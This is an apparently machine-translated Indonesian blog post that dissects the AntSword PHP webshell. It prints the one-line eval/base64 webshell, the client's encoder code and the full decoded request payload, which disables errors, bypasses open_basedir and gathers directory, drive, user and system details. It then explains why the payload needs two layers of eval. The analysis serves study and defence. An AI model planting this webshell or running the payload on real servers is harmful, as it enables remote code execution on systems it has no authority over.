informasi kontak saya
Surat[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
mengacu pada
olehPertamaMisalnya
kuda Troya
<?php @eval(base64_decode($_POST['ant']));?>
Dapatkan konten parameter ant, lalu dekode base64 dan jalankan
Pembuat enkode
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Hasilkan nomor acak randomID, enkode data base64 dan teruskan ke parameter randomID.
Kemudianeval(base64_decode($_POST[${randomID}]));die();
Lakukan pengkodean base64
Di sisi lain
Trojan mendapatkannya terlebih dahuludata[pwd]
Itu adalahant
Nilai diperoleh setelah decoding base64
eval(base64_decode($_POST[${randomID}]));die();
Faktanya, Trojan menjadi
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Asumsikan bahwa nomor acak yang dihasilkan randomID adalahA
, maka itu adalah
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
Pada langkah kedua dari kuda Troya, yaitudata[randomID]
, itu adalah$_POST[${randomID}]
, yaitu di sini$_POST[A]
Sudah di-encode base64, jadi perlu di-decode satu kali. Lalu timbul pertanyaan, kenapa perlu dieksekusi dua kali? ? ?Maka Anda harus memeriksanya dari paket lalu lintas
Tidak ada demonstrasi di sini tentang pembangunan lingkungan. Xiaopi, Yijian, dan burpsuite sudah cukup.
Dekode basis paket data
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Kemudian menjadieval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Lihatlah paragraf besar ini dan selesaikan
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Tentu saja saya tidak tahu banyak fungsinya, tapi ada AI!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Paragraf ini adalah
Matikan tampilan kesalahan
Tetapkan waktu eksekusi skrip
Dapatkan nilai konfigurasi open_basedir dan lewatiopen_basedir
Pembatasan atribut
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Bagian ini mendapatkan direktori tempat skrip saat ini berada dan menginisialisasi parameter string.$R
, melintasi huruf drive, CZ meledakkan huruf drive, menggunakan fungsi posix_getegid untuk mendapatkan nama pengguna, grup pengguna, dan konten lain dari pengguna yang menjalankan skrip, mendeteksi$u
Apakah ada. Jika tidak ada, gunakan fungsi get_current_user() untuk mendapatkannya. Gunakan php_uname() untuk mendapatkan informasi sistem operasi.
Sangat jelas pada titik ini. Kode php ini memperoleh direktori eksekusi saat ini, huruf drive, pengguna, dan informasi sistem operasi Trojan Karena penggunaan mekanisme caching, di bagian akhir
Lakukan keluaran kolektif dalam fungsi asoutput(),
Kirim paket permintaan di atas ke modul repeater dan temukan bahwa hasil yang dikembalikan sama
Tapi ini masih belum bisa menjelaskan mengapa ada dua eval. Faktanya, konten yang diteruskan oleh ant termasuk dalam string. Hanya ketika lapisan eval ditempatkan di luar, eval di dalamnya akan dieksekusi sebagai sebuah fungsi.
<?php
eval("eval('echo 1+1;');die();")
?>
Mengubah
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
Hasil keluaran akhir adalah 2, yang berarti eval bagian luar mengubah string menjadi fungsi untuk dieksekusi, dan lapisan dalam eval mengeksekusi konten.
Jadi dalam contoh ini, eval dari Trojan digunakan untuk mengaktifkan fungsi eval dalam paket permintaan, sehingga mencapai efek eksekusi perintah.